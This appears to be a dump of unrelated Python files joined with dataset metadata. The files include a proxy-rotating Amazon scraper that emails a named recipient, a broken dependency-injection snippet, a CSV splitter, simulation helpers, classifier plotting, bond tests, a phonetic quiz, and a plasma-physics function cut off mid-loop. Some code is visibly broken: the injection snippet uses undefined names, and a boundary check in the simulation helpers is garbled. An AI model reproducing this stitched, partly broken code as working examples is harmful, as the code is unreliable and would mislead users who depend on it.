\r\n print(\"Put \" + keyword + \" #\" + str(pageNo))\r\n #DEBUGGING -- if this is page 1 of the first loop, just save the full html file\r\n #if pageNo == 1 and keyword == 'cereal':\r\n # with open('cereal_html.html', 'w', encoding='utf-8') as outfile:\r\n # outfile.write(str(soup))\r\n\r\n\r\nresults = []\r\nif __name__ == \"__main__\":\r\n print(\"In the main\")\r\n \r\n m = Manager()\r\n q = m.Queue() # use this manager Queue instead of multiprocessing Queue as that causes error\r\n lock = Lock()\r\n\r\n proxyCounter = 20\r\n proxyList = generateProxyList(lock, proxyCounter)\r\n #proxyList.extend( scrapeProxyList() )\r\n\r\n print(\"ProxyList of length: \" + str(len(proxyList)))\r\n\r\n #This is where we create the keyword / page dictionary to loop through, so we can truly be parallel with execution\r\n searchList = []\r\n \r\n #raise SyntaxError\r\n\r\n for word in keywords:\r\n for i in range (1, no_pages):\r\n searchList.append( {'word': word, 'page': i} )\r\n\r\n #get the path for the tagging dataframes\r\n tagging_df = get_tag_dicts()\r\n\r\n p = {} \r\n\r\n for i in range(len(searchList)): \r\n print(\"starting process: \", i)\r\n p[i] = Process(target=get_data, args=(searchList[i]['word'], searchList[i]['page'], q, lock, proxyList, tagging_df, proxyCounter))\r\n p[i].start()\r\n\r\n \r\n # join should be done in seperate for loop \r\n # reason being that once we join within previous for loop, join for p1 will start working\r\n # and hence will not allow the code to run after one iteration till that join is complete, ie.\r\n # the thread which is started as p1 is completed, so it essentially becomes a serial work instead of \r\n # parallel\r\n for i in range(len(searchList)):\r\n p[i].join()\r\n print(\"#\" + str(i) + \" joined\")\r\n while q.empty() is not True:\r\n qcount = qcount+1\r\n queue_top = q.get()\r\n sourceList.append(queue_top[0])\r\n searchTerms.append(queue_top[1])\r\n dates.append(queue_top[2])\r\n products.append(queue_top[3])\r\n prices.append(queue_top[4])\r\n regularPrices.append(queue_top[5])\r\n onSales.append(queue_top[6])\r\n amazonChoices.append(queue_top[7])\r\n sponsoredList.append(queue_top[8])\r\n positions.append(queue_top[9])\r\n pages.append(queue_top[10])\r\n brands.append(queue_top[11])\r\n MFGs.append(queue_top[12])\r\n variants.append(queue_top[13])\r\n packTypes.append(queue_top[14])\r\n packCounts.append(queue_top[15])\r\n packSizes.append(queue_top[16])\r\n print(\"Q Count \" + str(qcount) + \" pulled\")\r\n \r\n #Only run once everything is done \r\n print(\"total time taken: \", str(time.time()-startTime), \" qcount: \", qcount)\r\n #print(q.get())\r\n \r\n\r\n #df = pd.DataFrame({'Source':sourceList, 'Keyword':searchTerms,'Date':dates, 'Product Name':products, 'Price':prices, \r\n # 'Regular Price':regularPrices, 'On Sale':onSales, 'Amazon Choice':amazonChoices, 'Sponsored':sponsoredList, 'List Position':positions, 'Page':pages})\r\n #print(df)\r\n #df.to_csv('./amazon_data/' + str(date.today()) + '-SearchList.csv', index=False, encoding='utf-8')\r\n #print(\"Dataframe saved\")\r\n\r\n\r\n tagged_df = pd.DataFrame({'Source':sourceList, 'Keyword':searchTerms,'Date':dates, 'Product_Name':products, 'Price':prices, \r\n 'Regular_Price':regularPrices, 'On_Sale':onSales, 'Featured':amazonChoices, 'Sponsored':sponsoredList, \r\n 'List_Position':positions, 'Page':pages, 'Brand':brands, 'MFG':MFGs, 'Variant':variants, 'Pack_Type':packTypes,\r\n 'Pack_Count':packCounts, 'Pack_Size':packSizes})\r\n #tagged_df.to_csv('./amazon_data/' + str(date.today()) + '-SearchList-Tagged.csv', index=False, encoding='utf-8')\r\n #print(\"Tagged DataFrame Saved\")\r\n\r\n #Now write to the database and overwrite if we already have Amazon scrape data from today\r\n numWritten = update_scrape_db(tagged_df, True)\r\n print(\"Entries written to DB: \", numWritten)\r\n\r\n #Send completion email so we can make sure data got recorded\r\n recipient = 'david@4sightassociates.com'\r\n subject = 'Daily Web Scrape Update'\r\n message = (\"Web scraping finished with \" + str(qcount) + \" entries recorded. \\n\" +\r\n \"Brands Tagged: \" + str(len(brands) - brands.count('')) + \"\\n\" + \r\n \"MFGs Tagged: \" + str(len(MFGs) - MFGs.count('')) + \"\\n\" + \r\n \"Variants Tagged: \" + str(len(variants) - variants.count('')) + \"\\n\" + \r\n \"Pack Types Tagged: \" + str(len(packTypes) - packTypes.count('')) + \"\\n\" + \r\n \"Pack Counts Tagged: \" + str(len(packCounts) - packCounts.count('')) + \"\\n\" + \r\n \"Pack Sizes Tagged: \" + str(len(packSizes) - packSizes.count(''))\r\n ) \r\n\r\n send_email(recipient, subject, message)\r\n print(\"Message sent\")\r\n\r\n #And finally, update the proxy list with tne new list\r\n #updateProxyFile('./proxyList.csv', proxyList)","sub_path":"amazon_scrape.py","file_name":"amazon_scrape.py","file_ext":"py","file_size_in_byte":15566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"541991101","text":"#https://preslav.me/2018/12/20/dependency-injection-in-python/\n#eksekusi pake python 3\nfrom dependency_injector import containers, providers\n\n\nclass AppModule(Module):\n\n @singleton\n @provider\n def provide_buseniess_logic(self, api: Api) -> BusinessLogic:\n return BusinessLogic(api=api)\n \n @singleton\n @provider\n def provide_api(self) -> Api:\n configuration\n\n return Api()\n\nif __name__ == '__main__':\n injector = Injector(AppModule())\n\n logic = injector.get(BusinessLogic)\n logic.do_stuff()","sub_path":"novice/02-04/24_lat2.py","file_name":"24_lat2.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"201685205","text":"'''\n\n \t Problem Statement : Special numbers\n \t Link : https://www.hackerearth.com/challenges/competitive/august-easy-201/algorithm/happy-numbers-4a67748e/\n \t Score : 32 - partially accepted\n\n '''\n\nfrom itertools import permutations, combinations\n\ndef check_coprime(numbers):\n left, right = numbers\n smallest = left\n if right < left:\n smallest = right\n\n if left%smallest==0 and right%smallest==0:\n return False\n\n if left%2==0 and right%2==0:\n return False\n else:\n for i in range(3,smallest+1,2):\n if left%i==0 and right%i==0:\n return False\n return True\n\nN = int(input())\nspecial_numbers = []\nfor i in range(4,N+1):\n if str(i).count('4')+str(i).count('7') == len(str(i)):\n special_numbers.append(i)\n\np = combinations(special_numbers,2)\npairs = 0\nfor t in p:\n pairs += check_coprime(t)\n\nprint(pairs)\n","sub_path":"Hackerearth/Special_numbers.py","file_name":"Special_numbers.py","file_ext":"py","file_size_in_byte":894,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"52981298","text":"import os\r\n\r\n\r\ndef splitfile(filehandler, delimiter=',', row_limit=6000000,\r\n output_name_template='G:\\GMU\\GGS_700_CompExam\\EXAM\\TWITTERDATA\\TweetGeos_%s.csv', output_path='.', keep_headers=True):\r\n import csv\r\n reader = csv.reader(filehandler, delimiter=delimiter)\r\n current_piece = 1\r\n current_out_path = os.path.join(\r\n output_path,\r\n output_name_template % current_piece\r\n )\r\n current_out_writer = csv.writer(open(current_out_path, 'wb'), delimiter=delimiter)\r\n current_limit = row_limit\r\n if keep_headers:\r\n headers = reader.next()\r\n current_out_writer.writerow(headers)\r\n for i, row in enumerate(reader):\r\n if i + 1 > current_limit:\r\n current_piece += 1\r\n current_limit = row_limit * current_piece\r\n current_out_path = os.path.join(\r\n output_path,\r\n output_name_template % current_piece\r\n )\r\n current_out_writer = csv.writer(open(current_out_path, 'wb'), delimiter=delimiter)\r\n if keep_headers:\r\n current_out_writer.writerow(headers)\r\n current_out_writer.writerow(row)\r\n\r\nsplitfile(open('G:\\GMU\\GGS_700_CompExam\\EXAM\\TWITTERDATA\\TweetGeos.csv', 'r'))","sub_path":"pythonscripts/file_splitter.py","file_name":"file_splitter.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"247846364","text":"####Imports etc\nfrom numpy import *\nimport numpy as np\nimport math\nfrom random import *\nimport logging\n\n# r1 = COM of rod 1\n# r2 = COM of rod 2\n# w1 = unit vector of rod 1\n# w2 = unit vector of rod 2\n# LH1 = length of half of rod 1\n# LH2 = length of half of rod 2\n# X = X box vector\n# Y = Y box vector\n# Z = Z box vector\n\ndef Q_rotation_matrix(Q, U):\t\t\t##Rotates a unit vector around some angles in Q Notation\n\trot_x = (Q[0]**2+Q[1]**2-(Q[2]**2)-(Q[3]**2))*U[0]+(2*Q[1]*Q[2]+2*Q[0]*Q[3])*U[1]+(2*Q[1]*Q[3]-2*Q[0]*Q[2])*U[2]\n\trot_y = (2*Q[1]*Q[2]-2*Q[0]*Q[3])*U[0]+(Q[0]**2+Q[2]**2-(Q[1]**2)-(Q[3]**2))*U[1]+(2*Q[2]*Q[3]+2*Q[0]*Q[1])*U[2]\n\trot_z = (2*Q[1]*Q[3]+2*Q[0]*Q[2])*U[0]+(2*Q[2]*Q[3]-2*Q[0]*Q[1])*U[1]+(Q[0]**2+Q[3]**2-(Q[1]**2)-(Q[2]**2))*U[2]\n\ta = np.array([rot_x, rot_y, rot_z])\n\treturn(a)\n\n\ndef energy_calculation_current(particles, N_particles, D, Ess):\t\t##Calculation of current system state\n\tE_sum = 0\n\tfor i in range(0, N_particles-1):\t\t\t\t\t\t\t\t##Sum over all pairwise calculations\n\t\tfor j in range(i+1, N_particles):\n\t\t\tif i != j:\t\t\t\t\t\t\t\t\t\t\t\t##Where i is not equal to j, evaluate potential\n\t\t\t\tE = Vss(particles[i].PATCH, particles[j].PATCH, N_particles, D, Ess)\n\t\t\t\tE_sum += E \t\t\t\t\t\t\t\t\t\t\t##Sum up all values\n\treturn(E_sum)\n\ndef energy_calculation_trial(particles, selected, PATCH_prime, N_particles, D, Ess):\t##Calculation of trial system state\n\tE_sum = 0\n\tfor i in range(0, N_particles-1):\t\t\t\t\t\t\t\t##Sum over all pairwise calculations\n\t\tfor j in range(i+1, N_particles):\n\t\t\tif i != j:\t\t\t\t\t\t\t\t\t\t\t\t##Do calculation if i is not equal to j\n\t\t\t\tp1 = particles[i].PATCH \t\t\t\t\t\t\t\n\t\t\t\tp2 = particles[j].PATCH\n\t\t\t\tif i == selected:\t\t\t\t\t\t\t\t\t##If i is the particle which is undergoing a trial move\n\t\t\t\t\tp1 = PATCH_prime \t\t\t\t\t\t\t\t##Use the properties of the trial move for this part of the sum\n\t\t\t\tif j == selected: \t\t\t\t\t\t\t\t\t##If j is the particle which is undergoing a trial move\n\t\t\t\t\tp2 = PATCH_prime\t\t\t\t\t\t\t\t##Use the properties of the trial move for this part of the sum\n\t\t\t\tE = Vss(p1, p2, N_particles, D, Ess)\t\t\t\t##Evaluate the potential\n\t\t\t\tE_sum += E \t\t\t\t\t\t\t\t\t\t\t##Sum over all values\n\treturn(E_sum)\n\t\n\ndef rod_filewriter(trajectory, write_count, N_particles, box_dim_min, box_dim_max, rods, sigma, L):\t\t##Writing trajectories to file\n\tif len(rods)!=0:\n\t\tfilename = str(trajectory)+str(write_count)+\".txt\"\n\t\tfile = open(filename, \"w+\")\n\t\tfile.write(\"ITEM: TIMESTEP \\n\")\n\t\tfile.write(str(0)+\"\\n\")\n\t\tfile.write(\"ITEM: NUMBER OF ATOMS \\n\")\n\t\tfile.write(str(len(rods))+\"\\n\")\n\t\tfile.write(\"ITEM: BOX BOUNDS \\n\")\n\t\tfile.write(str(box_dim_min)+\" \"+str(box_dim_max)+\"\\n\")\n\t\tfile.write(str(box_dim_min)+\" \"+str(box_dim_max)+\"\\n\")\n\t\tfile.write(str(box_dim_min)+\" \"+str(box_dim_max)+\"\\n\")\n\t\tfile.write(\"ITEM: ATOMS id type x y z quati quatj quatk quatw shapex shapey shapez\\n\")\n\n\t\tfor x in rods:\n\t\t\t#Q = euler_to_Q(particles[x].UNIT)\n\t\t\ty = '{:<10}'.format(str(x.id)) +\" \"+ '{:<10}'.format(str(1)) +\" \" + '{:<10}'.format(str(x.COM)[1:-1]) + \" \" + '{:<10}'.format(str(x.Q)[1:-1]) +\" \" + '{:<10}'.format(str(sigma)) +\" \" + '{:<10}'.format(str(0)) +\" \" +'{:<10}'.format(str(L))+\"\\n\"\n\t\t\tfile.write(y)\n\t\tfile.close()\n\treturn()\n\ndef sphere_filewriter(trajectory, write_count, N_particles, box_dim_min, box_dim_max, spheres, sigma):\t\t##Writing trajectories of patches to file\n\tif len(spheres)!=0:\n\t\tfilename = str(trajectory)+str(write_count)+\".txt\"\n\t\tfile = open(filename, \"w+\")\n\t\tfile.write(\"ITEM: TIMESTEP \\n\")\n\t\tfile.write(str(0)+\"\\n\")\n\t\tfile.write(\"ITEM: NUMBER OF ATOMS \\n\")\n\t\tfile.write(str(len(spheres))+\"\\n\")\n\t\tfile.write(\"ITEM: BOX BOUNDS \\n\")\n\t\tfile.write(str(box_dim_min)+\" \"+str(box_dim_max)+\"\\n\")\n\t\tfile.write(str(box_dim_min)+\" \"+str(box_dim_max)+\"\\n\")\n\t\tfile.write(str(box_dim_min)+\" \"+str(box_dim_max)+\"\\n\")\n\t\tfile.write(\"ITEM: ATOMS id type x y z radius diameter\\n\")\n\n\t\tfor x in spheres:\n\n\t\t\ty = '{:<10}'.format(str(x.id)) +\" \"+ '{:<10}'.format(str(1)) +\" \" + '{:<10}'.format(str(x.COM)[1:-1]) +\" \" + '{:<10}'.format(str(sigma))+ '{:<10}'.format(str(2*sigma))+\"\\n\"\n\t\t\tfile.write(y)\n\t\tfile.close()\n\treturn()\n\ndef periodic_boundary(x, y, z, box_dim_min, box_dim_max, box_size):\t\t\t\t##Code for periodic boundaries##\n\tif xbox_dim_max:\t\t\t\t\t\t\t\t\t\t\t#If it does, it adds or removes the box length accordingly to put the# \n\t\tx = x - box_size\t\t\t\t\t\t\t\t\t\t#particle on the opposite end of the box \t\t\t\t\t\t\t #\n\tif ybox_dim_max:\n\t\ty = y - box_size\n\tif zbox_dim_max:\n\t\tz = z - box_size\n\treturn(x, y, z)\n\t\ndef shortest_rods_distance(r1, r2, w1, w2, LH1, LH2):\n\t#step 1:\n\tr1=np.asarray(r1)\n\tr2=np.asarray(r2)\n\tr12 = r2 - r1\n\tr122 = r12[0]**2+r12[1]**2+r12[2]**2\n\n\tr12EU1 = np.dot(r12, w1)\t\t#dot product of vector between two centers of mass and the unit vector of particle 1\n\tr12EU2 = np.dot(r12, w2)\t\t#dot product of vector between two centers of mass and the unit vector of particle 2\n\n\tU1EU2 = np.dot(w1, w2)\t\t\t#dot product of unit vectors\n\tcc = 1-(U1EU2**2)\t\t\t\t#used to check for parallel condition\n\n\n#checking if rods are parallel\n\tif cc<10**(-6):\n\t\tif r12EU1 != 0:\n\t\t\tXLANDA = np.sign(r12EU1)*np.abs(LH1)\t#GO TO 10\n\t\t\tXMU = XLANDA*U1EU2-r12EU2\n\t\t\tif np.abs(XMU)>LH2:\n\t\t\t\tXMU = np.sign(XMU)*np.abs(LH2)\n\t\t\tR02 = r122+XLANDA**2+XMU**2-2*XLANDA*XMU*U1EU2+2*XMU*r12EU2-2*XLANDA*r12EU1\n\n\t\telse:\n\t\t\tXLANDA = 0\t\t\t\t\t\t#GO TO 20\n\t\t\tXMU = 0 \n\t\t\tR02 = r122+XLANDA**2+XMU**2-2*XLANDA*XMU*U1EU2+2*XMU*r12EU2-2*XLANDA*r12EU1\n\telse:\n\t\tXLANDA = (r12EU1-(U1EU2*r12EU2))/cc\n\t\tXMU = (-r12EU2+(U1EU2*r12EU1))/cc\n\n\t#step 2: check whether XLANDA_prime and XMU_prime belong to the rectangle defined \n\t\tif np.abs(XLANDA)<=LH1 and np.abs(XMU)<=LH2:\n\t\t\tR02 = r122+XLANDA**2+XMU**2-2*XLANDA*XMU*U1EU2+2*XMU*r12EU2-2*XLANDA*r12EU1 ##THIS IS THE GO TO 20 STEP, HOW DO WE MAKE THIS WORK\n\n\t\telse:\n\t\t\tAUXI1 = np.abs(XLANDA)-LH1\n\t\t\tAUXI2 = np.abs(XMU)-LH2\n\n\t\t#step 3: Assignment of side of square where shortest distance between rods stands\n\t\t\tif AUXI1 > AUXI2:\n\t\t\t\tXLANDA = np.sign(XLANDA)*np.abs(LH1)\n\t\t\t\t#step 4: (10)\n\t\t\t\tXMU = XLANDA*U1EU2-r12EU2\n\t\t\t\tif np.abs(XMU)>LH2:\n\t\t\t\t\tXMU = np.sign(XMU)*np.abs(LH2)\n\t\t\t\tR02 = r122+XLANDA**2+XMU**2-2*XLANDA*XMU*U1EU2+2*XMU*r12EU2-2*XLANDA*r12EU1\n\n\t\t\telse:\n\t\t\t\t#step 4 ALT\n\t\t\t\tXMU = np.sign(XMU)*np.abs(LH2)\n\t\t\t\tXLANDA = XMU*U1EU2+r12EU1\n\t\t\t\tif np.abs(XLANDA)>LH1:\n\t\t\t\t\tXLANDA = np.sign(XLANDA)*np.abs(LH1)\n\n\t\t#step 5 (20)\n\t\t\t\tR02 = r122+XLANDA**2+XMU**2-2*XLANDA*XMU*U1EU2+2*XMU*r12EU2-2*XLANDA*r12EU1\n\treturn(R02)\n\n\ndef check_neighbours(N_particles, l, particles, COM_prime, UNIT_prime, lh1, lh2, min_dist_rr2, min_dist_rs2, min_dist_ss2, L, sigma_r, sigma_s):\n\tneighbours_distance2 = np.zeros(N_particles)\n\tfor k in range(N_particles):\n\t\tif k==l:\n\t\t\toutput = 0\t\t\t\t#FALSE, No overlap because this is the particle which has been chosen\n\t\t\t#continue\t\t\t\t#skip the rest, move to next iteration\n\t\telse:\n\t\t\tif particles[l].obj == \"rod\" and particles[k].obj == \"rod\":\n\t\t\t\tneighbours_distance2[k] = shortest_rods_distance(COM_prime, particles[k].COM, UNIT_prime, particles[k].UNIT, L/2, L/2)\n\t\t\t\tlogging.info(\"Particle k = %s is R02 %s from particle l = %s\" %(k, neighbours_distance2[k], l))\n\t\t\n\t\t\t\tif neighbours_distance2[k]<=min_dist_rr2:\t#check whether this distance is smaller than 2*sigma\n\t\t\t\t\toutput = 1\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\toutput = 0 \n\t\t\telif (particles[l].obj == \"rod\" and particles[k].obj == \"sphere\") or (particles[k].obj == \"rod\" and particles[l].obj == \"sphere\"):\n\t\t\t\tif particles[l].obj == \"sphere\":\n\t\t\t\t\tneighbours_distance2[k] = shortest_rods_distance(COM_prime, particles[k].COM, UNIT_prime, particles[k].UNIT, sigma_s, L/2)\n\t\t\t\t\tlogging.info(\"Particle k = %s is R02 %s from particle l = %s\" %(k, neighbours_distance2[k], l))\n\t\t\t\n\t\t\t\t\tif neighbours_distance2[k]<=min_dist_rr2:\t#check whether this distance is smaller than 2*sigma\n\t\t\t\t\t\toutput = 1\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\toutput = 0 \n\t\t\t\telif particles[l].obj == \"rod\":\n\t\t\t\t\tneighbours_distance2[k] = shortest_rods_distance(COM_prime, particles[k].COM, UNIT_prime, particles[k].UNIT, L/2, sigma_s)\n\t\t\t\t\tlogging.info(\"Particle k = %s is R02 %s from particle l = %s\" %(k, neighbours_distance2[k], l))\n\t\t\t\n\t\t\t\t\tif neighbours_distance2[k]<=min_dist_rr2:\t#check whether this distance is smaller than 2*sigma\n\t\t\t\t\t\toutput = 1\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse:\n\t\t\t\t\t\toutput = 0 \n\t\t\telif particles[l].obj == \"sphere\" and particles[k].obj == \"sphere\": \n\t\t\t\tneighbours_distance2[k] = (particles[l].COM[0]-particles[k].COM[0])**2+(particles[l].COM[1]-particles[k].COM[1])**2+(particles[l].COM[2]-particles[k].COM[2])**2\n\t\t\t\tlogging.info(\"Particle k = %s is R02 %s from particle l = %s\" %(k, neighbours_distance2[k], l))\n\n\t\t\t\tif neighbours_distance2[k] <= min_dist_ss2:\n\t\t\t\t\toutput = 1\n\t\t\t\t\tbreak\n\t\t\t\telse:\n\t\t\t\t\toutput = 0\n\treturn(output)\n\ndef generate_UNIT():\n\transq = 2\n\twhile ransq > 1:\n\t\tu = np.random.uniform(0, 1, 2)\t\t\t\t##Generate 2 random uniform floats\n\t\tran1 = 1-2*u[0]\t\t\t\t\t\t\t\t#Generate random no. 1\n\t\tran2 = 1-2*u[1]\t\t\t\t\t\t\t\t#Generate random no. 2\n\t\transq = ran1**2 + ran2**2\t\t\t\t\t##Square of random floats\n\n\tranh = 2*np.sqrt(1-ransq)\t\t\t\t\t\t##Generate x, y, z values for test \n\tbx = ran1*ranh\t\t\t\t\t\t\t\t\t#Create x value\n\tby = ran2*ranh\t\t\t\t\t\t\t\t\t#Create y value\n\tbz = 1-2*ransq \t\t\t\t\t\t\t\t\t#Create z value\n\n\ta = np.array([bx, by, bz]) \t\t\t\t\t\t##Combine generated values into a numpy array\n\ta = a /np.sqrt(np.einsum('i,i', a, a))\t\t\t##Normalise the vector into a unit vector\n\treturn(a)\n","sub_path":"functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":9528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"613426873","text":"#\n# Classifiers\n# 60-473 Assignment 1 Q4\n#\n# Plot the datasets\n#\n\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.model_selection import cross_val_predict\nimport matplotlib.pyplot as plt\n\nimport numpy as np\nimport pandas as pd\n\n\n\ndef classify_knn(title, i, data, k):\n\n examples_train, examples_test, labels_train, labels_test = data\n\n # Fit training samples against sample labels\n neighbors = KNeighborsClassifier(n_neighbors=k, metric='euclidean')\n neighbors.fit(examples_train, labels_train)\n\n styles = ['>', '<', 's', 'o']\n colors = ['b', 'r', 'g', 'y']\n\n # Plot data from dataset\n X = examples_train\n y = labels_train\n\n for index in range(0, len(X)):\n if y[index] == 1:\n plt.scatter(X[index, 0], X[index, 1], c=colors[i%4], s=8, marker=styles[i%4])\n else:\n plt.scatter(X[index, 0], X[index, 1], c=colors[(i+1)%4], s=8, marker=styles[(i+1)%4])\n\n plt.title(title)\n plt.show()\n\n\n\n\ndef classify_naive_bayes(data):\n\n examples_train, examples_test, labels_train, labels_test = data\n\n gnb = GaussianNB()\n gnb.fit(examples_train, labels_train)\n #print(\"Gaussian Naive Bayes classifier score:\\t\", gnb.score(examples_test, labels_test))\n\n\n\ndef split_data(filename):\n\n # Read data into 2D array of samples eg. [[-1.9, 2.4, 1], [...], ...]\n data = pd.read_csv(filename, header=None).as_matrix()\n\n # Split into parts\n s = np.split(data, [0, 2, 3], axis=1)\n\n # Isolate 2D array of feature samples eg.[[-1.9, 2.4], [...], ...]\n examples = s[1]\n\n # Change shape of labels from [[1], [1], ... [2], [2]] to [1, 1 .. 2]\n labels = np.reshape(s[2], np.size(s[2]))\n\n\n # Try training and testing (NOT 10 fold cross validation)\n # Split array/matrices into random train and test subsets\n\n return train_test_split(examples, labels, random_state=42)\n\n\n\n\ndef main():\n\n # Uncomment to output before/after each classifier on ALL datasets\n input_files = [\"twogaussians.csv\", \"halfkernel.csv\", \"twospirals.csv\", \"clusterincluster.csv\"]\n counter = 0\n\n for filename in input_files:\n data = split_data(filename)\n\n print(filename)\n print(\"-----------------------------------------------\")\n\n classify_knn(filename, counter, data, 1)\n classify_naive_bayes(data)\n print(\"\\n\")\n counter += 1\n\n\nmain()\n","sub_path":"Assignment1/question5.py","file_name":"question5.py","file_ext":"py","file_size_in_byte":2457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"299887153","text":"import pytest\nfrom datetime import date\nimport numpy as np\nfrom numpy.testing import assert_array_equal\n\nfrom src.instruments import Bond\n\n\n@pytest.fixture\ndef bond():\n settle = date(2020, 11, 26)\n maturity = date(2024, 6, 17)\n issuance_cost = 0.0\n coupon = 0.0075\n symbol = \"LB246A\"\n return Bond(settle, maturity, issuance_cost, coupon, symbol)\n\n\ndef test_get_coupons_LB246A(bond):\n actual_amounts, actual_dates = bond.get_coupons()\n expected_dates = [date(2020, 12, 17), \\\n date(2021, 6, 17), date(2021, 12, 17),\n date(2022, 6, 17), date(2022, 12, 17),\n date(2023, 6, 17), date(2023, 12, 17),\n date(2024, 6, 17)]\n expected_amounts = [0.00375, 0.00375, 0.00375, 0.00375, 0.00375, \\\n 0.00375, 0.00375, 0.00375]\n assert actual_amounts == expected_amounts\n assert actual_dates == expected_dates\n\n\ndef test_get_CFs_period_LB246A(bond):\n begin_date = date(2021, 1, 1)\n end_date = date(2023, 12, 31)\n actual = bond.get_CFs_period(begin_date, end_date)\n expected = 3 * 0.0075\n assert actual == expected","sub_path":"test/test_instruments_2b.py","file_name":"test_instruments_2b.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"645182392","text":"# ansii colors from https://stackoverflow.com/a/21786287, can't understand, just magic\n\nimport random\n\nalph = ('alpha', 'bravo', 'charlie','delta', 'echo', 'foxtrot',\n\t\t'golf', 'hotel', 'india','juliett', 'kilo', 'lima',\n\t\t'mike', 'november', 'oscar','papa', 'quebec', 'romeo',\n\t\t'sierra', 'tango', 'uniform','victor', 'whiskey', 'x ray',\n\t\t'yankee', 'zulu')\n\n#counter\ncorrect_ans = 0\nwrong_ans = 0\n\n#color staff\ngreen = '\\x1b[1;32;40m'\nred = '\\x1b[1;31;40m'\nred_w_line = '\\x1b[4;31;40m'\nend_block = '\\x1b[0m'\n\nwhile True:\n\tquest = random.choice(alph)\n\tans = input(f'Word for {quest[0].upper()}: ').lower()\n\tif not ans:\n\t\tbreak\n\tif ans == quest:\n\t\tcorrect_ans += 1\n\t\tprint(f'{green} yes {end_block}')\n\n\telse:\n\t\twrong_ans += 1\n\t\tprint(f'{red_w_line} no {end_block}\\nWord for {quest[0].upper()} is {red}{quest}{end_block}')\n\tprint(f'{green} {correct_ans} {end_block} : {red} {wrong_ans} {end_block}\\n')\n\n\n\n\n\n","sub_path":"python/icao/icao.py","file_name":"icao.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"619629038","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# Built-in imports\nimport itertools\n\n# 3rd party imports\nimport numpy as np\n\nfrom scipy import constants\n\n# Local imports\nfrom ..pyrf import resample, ts_scalar\n\n__author__ = \"Louis Richard\"\n__email__ = \"louisr@irfu.se\"\n__copyright__ = \"Copyright 2020-2021\"\n__license__ = \"MIT\"\n__version__ = \"2.3.7\"\n__status__ = \"Prototype\"\n\n\ndef calculate_epsilon(vdf, model_vdf, n_s, sc_pot, **kwargs):\n r\"\"\"Calculates epsilon parameter using model distribution.\n\n Parameters\n ----------\n vdf : xarray.Dataset\n Observed particle distribution (skymap).\n model_vdf : xarray.Dataset\n Model particle distribution (skymap).\n n_s : xarray.DataArray\n Time series of the number density.\n sc_pot : xarray.DataArray\n Time series of the spacecraft potential.\n **kwargs : dict\n Keyword arguments.\n\n Returns\n -------\n epsilon : xarray.DataArray\n Time series of the epsilon parameter.\n\n Other Parameters\n ----------------\n en_channels : array_like\n Set energy channels to integrate over [min max]; min and max between\n must be between 1 and 32.\n\n Examples\n --------\n >>> from pyrfu import mms\n >>> options = {\"en_channel\": [4, 32]}\n >>> eps = mms.calculate_epsilon(vdf, model_vdf, n_s, sc_pot, **options)\n\n \"\"\"\n\n # Default energy channels used to compute epsilon, lowest energy channel\n # should not be used.\n energy_range = kwargs.get(\"en_channels\", [2, 32])\n int_energies = np.arange(energy_range[0], energy_range[1] + 1)\n\n # Resample sc_pot\n sc_pot = resample(sc_pot, n_s)\n\n # Remove zero count points from final calculation\n # model_vdf.data.data[vdf.data.data <= 0] = 0\n\n model_vdf /= 1e18\n vdf /= 1e18\n\n vdf_diff = np.abs(vdf.data.data - model_vdf.data.data)\n\n # Define constants\n q_e = constants.elementary_charge\n\n # Check whether particles are electrons or ions\n if vdf.attrs[\"specie\"] == \"e\":\n m_s = constants.electron_mass\n print(\"notice : Particles are electrons\")\n elif vdf.attrs[\"specie\"] == \"i\":\n sc_pot.data *= -1\n m_s = constants.proton_mass\n print(\"notice : Particles are electrons\")\n else:\n raise ValueError(\"Invalid specie\")\n\n # Define lengths of variables\n n_ph = len(vdf.phi.data[0, :])\n\n # Define corrected energy levels using spacecraft potential\n energy_arr = vdf.energy.data\n v_s, delta_v = [np.zeros(energy_arr.shape) for _ in range(2)]\n\n for i in range(len(vdf.time)):\n energy_vec = energy_arr[i, :]\n energy_log = np.log10(energy_arr[i, :])\n\n v_s[i, :] = np.real(\n np.sqrt(2 * (energy_vec - sc_pot.data[i]) * q_e / m_s))\n\n temp0 = 2 * energy_log[0] - energy_log[1]\n temp33 = 2 * energy_log[-1] - energy_log[-2]\n\n energy_all = np.hstack([temp0, energy_log, temp33])\n\n diff_en_all = np.diff(energy_all)\n\n energy_upper = 10 ** (energy_log + diff_en_all[1:34] / 2)\n energy_lower = 10 ** (energy_log - diff_en_all[0:33] / 2)\n\n v_upper = np.sqrt(2 * q_e * energy_upper / m_s)\n v_lower = np.sqrt(2 * q_e * energy_lower / m_s)\n\n v_lower[np.isnan(v_lower)] = 0\n v_upper[np.isnan(v_upper)] = 0\n\n delta_v[i, :] = (v_upper - v_lower)\n\n v_s[v_s < 0] = 0\n\n # Calculate density of vdf_diff\n delta_ang = (11.25 * np.pi / 180) ** 2\n theta_k = vdf.theta.data\n\n epsilon = np.zeros(len(vdf.time))\n m_psd2_n = np.ones(n_ph) * np.sin(theta_k * np.pi / 180)\n\n for i, j in itertools.product(range(len(vdf.time)), int_energies):\n tmp = np.squeeze(vdf_diff[i, j, ...])\n fct = v_s[i, j] ** 2 * delta_v[i, j] * delta_ang\n\n 